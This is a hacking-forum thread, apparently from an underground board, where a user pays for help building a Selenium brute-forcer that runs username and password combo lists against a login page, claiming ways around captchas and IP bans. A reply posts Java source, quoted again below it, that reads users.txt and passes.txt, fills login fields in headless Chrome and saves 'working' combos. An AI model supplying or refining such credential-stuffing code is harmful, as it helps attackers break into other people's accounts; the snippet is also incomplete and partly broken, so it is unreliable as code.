Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



 12476

[HELP=$$] Eclipse/Selenium Bruteforcer

by Stranger9000 - 10 April, 2020 - 08:46 PM
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
5 Years of service
#1
I'm in the middle of learning some Selenium and Java and just need a point in the right direction.  How do I input User.txt / Pass.txt (separated combolists) lists into selenium to run through the gecko driver and onto the login page?

MacBook OS Catalina
Eclipse/Selenium WebDriver
Firefox GeckoDriver

If you can fill me in on the right information so that I may succeed I will pay! :florain:
This post is by a banned member (darkforce123321) - Unhide
22
Posts
0
Threads
4 Years of service
#2
(This post was last modified: 11 April, 2020 - 10:39 AM by darkforce123321.)
You could read the two files linewise to strings by FileReader instances.
So you have one login and one password string.
Pass the values to the "login" "password" WebElements of the driver.

This is not a difficult part.
The difficult part of the bruteforcer will be that the page will lock your ip or add some captcha.
If you need more details, tell me.

(edit: I missed the 2 files...)
This post is by a banned member (MichaeIScott) - Unhide
123
Posts
54
Threads
4 Years of service
#3
file reader, scanner, file writer
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
5 Years of service
#4
(This post was last modified: 12 April, 2020 - 09:48 PM by Stranger9000.)
(11 April, 2020 - 10:34 AM)darkforce123321 Wrote: Show More
You could read the two files linewise to strings by FileReader instances.
So you have one login and one password string.
Pass the values to the "login" "password" WebElements of the driver.

This is not a difficult part.
The difficult part of the bruteforcer will be that the page will lock your ip or add some captcha.
If you need more details, tell me.

(edit: I missed the 2 files...)

Do you have source code by chance? I'll drop a $50 for working source code.  I have a way around recaptia and ip bans no worries

(12 April, 2020 - 12:09 AM)eclipsegay Wrote: Show More
file reader, scanner, file writer

I appreciate the methodology, do you have working source code i could copy?  I'll drop a $50 for assistance.
This post is by a banned member (darkforce123321) - Unhide
22
Posts
0
Threads
4 Years of service
#5
(This post was last modified: 13 April, 2020 - 11:47 AM by darkforce123321.)
Wrote some small snippet, just to get you on the path.
There are 100 ways.
This is not the most beautiful but it is doing the job you need.
Read by some FileReader, pass to Driver and store results.
Code:
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;

import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;

public class TestClass {

    
    public static void main(String[] args) {
        TestClass t = new TestClass();
        t.readData();
        //t.launch();
    }
    
    private WebDriver driver;
    private ArrayList<String> users;
    private ArrayList<String> passes;

    private void readData() {
        users = new ArrayList<>();
        passes = new ArrayList<>();
        
        BufferedReader f1;
        try {
            f1 = new BufferedReader(new FileReader(new File("users.txt")));
            
            String oneUser = f1.readLine();
            while(oneUser != null) {
                users.add(oneUser);
                oneUser = f1.readLine();
            }
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        BufferedReader f2;
        try {
            f2 = new BufferedReader(new FileReader(new File("passes.txt")));
            String onePass = f2.readLine();
            while(onePass!= null) {
                passes.add(onePass);
                onePass = f2.readLine();
            }
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public void launch() {
        //E.G. using Chrome, use your settings should get the WebDriver running.
         ChromeOptions options = new ChromeOptions();
        //options.setBinary(YOUR BROWSER EXE PATH)
        options.addArguments("-headless");
        driver = new ChromeDriver(options);
        driver.navigate().to("http://www.google.com");
        
        WebElement userEl = null;
        WebElement passEl = null;
        
        try {
            userEl = driver.findElement(By.id("YOUR PAGE ELEMENT"));
            passEl= driver.findElement(By.id("YOUR PAGE ELEMENT"));
            
            for(int i = 0; i < users.size(); i++) {
                String oneUser = users.get(i);
                String onePass = passes.get(i);
                userEl.sendKeys(oneUser);
                passEl.sendKeys(onePass);
                
                //...do whatever
                storeWorkingCombo(oneUser, onePass);
            }

        } catch (org.openqa.selenium.NoSuchElementException e) {
        }
    }

    private void storeWorkingCombo(String oneUser, String onePass) {
        try {
            PrintWriter p = new PrintWriter(new File("working.txt"));
            p.println(oneUser + ":" + onePass);
            p.flush();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
5 Years of service
#6
(13 April, 2020 - 11:43 AM)darkforce123321 Wrote: Show More
Wrote some small snippet, just to get you on the path.
There are 100 ways.
This is not the most beautiful but it is doing the job you need.
Read by some FileReader, pass to Driver and store results.
Code:
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;

import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;

public class TestClass {

    
    public static void main(String[] args) {
        TestClass t = new TestClass();
        t.readData();
        //t.launch();
    }
    
    private WebDriver driver;
    private ArrayList<String> users;
    private ArrayList<String> passes;

    private void readData() {
        users = new ArrayList<>();
        passes = new ArrayList<>();
        
        BufferedReader f1;
        try {
            f1 = new BufferedReader(new FileReader(new File("users.txt")));
            
            String oneUser = f1.readLine();
            while(oneUser != null) {
                users.add(oneUser);
                oneUser = f1.readLine();
            }
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        BufferedReader f2;
        try {
            f2 = new BufferedReader(new FileReader(new File("passes.txt")));
            String onePass = f2.readLine();
            while(onePass!= null) {
                passes.add(onePass);
                onePass = f2.readLine();
            }
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public void launch() {
        //E.G. using Chrome, use your settings should get the WebDriver running.
         ChromeOptions options = new ChromeOptions();
        //options.setBinary(YOUR BROWSER EXE PATH)
        options.addArguments("-headless");
        driver = new ChromeDriver(options);
        driver.navigate().to("http://www.google.com");
        
        WebElement userEl = null;
        WebElement passEl = null;
        
        try {
            userEl = driver.findElement(By.id("YOUR PAGE ELEMENT"));
            passEl= driver.findElement(By.id("YOUR PAGE ELEMENT"));
            
            for(int i = 0; i < users.size(); i++) {
                String oneUser = users.get(i);
                String onePass = passes.get(i);
                userEl.sendKeys(oneUser);
                passEl.sendKeys(onePass);
                
                //...do whatever
                storeWorkingCombo(oneUser, onePass);
            }

        } catch (org.openqa.selenium.NoSuchElementException e) {
        }
    }

    private void storeWorkingCombo(String oneUser, String onePass) {
        try {
            PrintWriter p = new PrintWriter(new File("working.txt"));
            p.println(oneUser + ":" + onePass);
            p.flush();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

This is kinda what I'm looking for..? im going to relearn a few things to switch my geckodriver to chromedriver.  Nice work!
This post is by a banned member (hasi912) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 2 Guest(s)